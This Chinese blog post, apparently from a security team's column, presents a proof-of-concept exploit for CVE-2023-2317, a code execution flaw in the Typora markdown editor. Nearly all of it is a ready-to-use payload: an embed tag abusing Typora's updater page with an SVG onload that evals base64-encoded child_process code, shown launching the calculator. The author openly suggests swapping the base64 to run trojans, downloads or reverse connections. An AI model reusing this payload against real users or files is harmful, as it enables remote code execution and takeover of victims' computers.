常用md文件任意代码执行漏洞利用

网e渗透安全部

发布于 2023-09-01 20:54:13

36800

代码可运行

文章被收录于专栏：白安全组白安全组

运行总次数：0

代码可运行

该漏洞最新情报，cve编号：

CVE-2023-2317

这个漏洞是Typora产生的

我们使用这个漏洞方式非常简单，这里仅演示打开电脑计算机

至于你想去执行木马，还是下载其他什么，或者是反向链接，懂得都懂

我这里简单演示一下

poc：

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

然后我们可以通过修改base64这段的内容执行不同的命令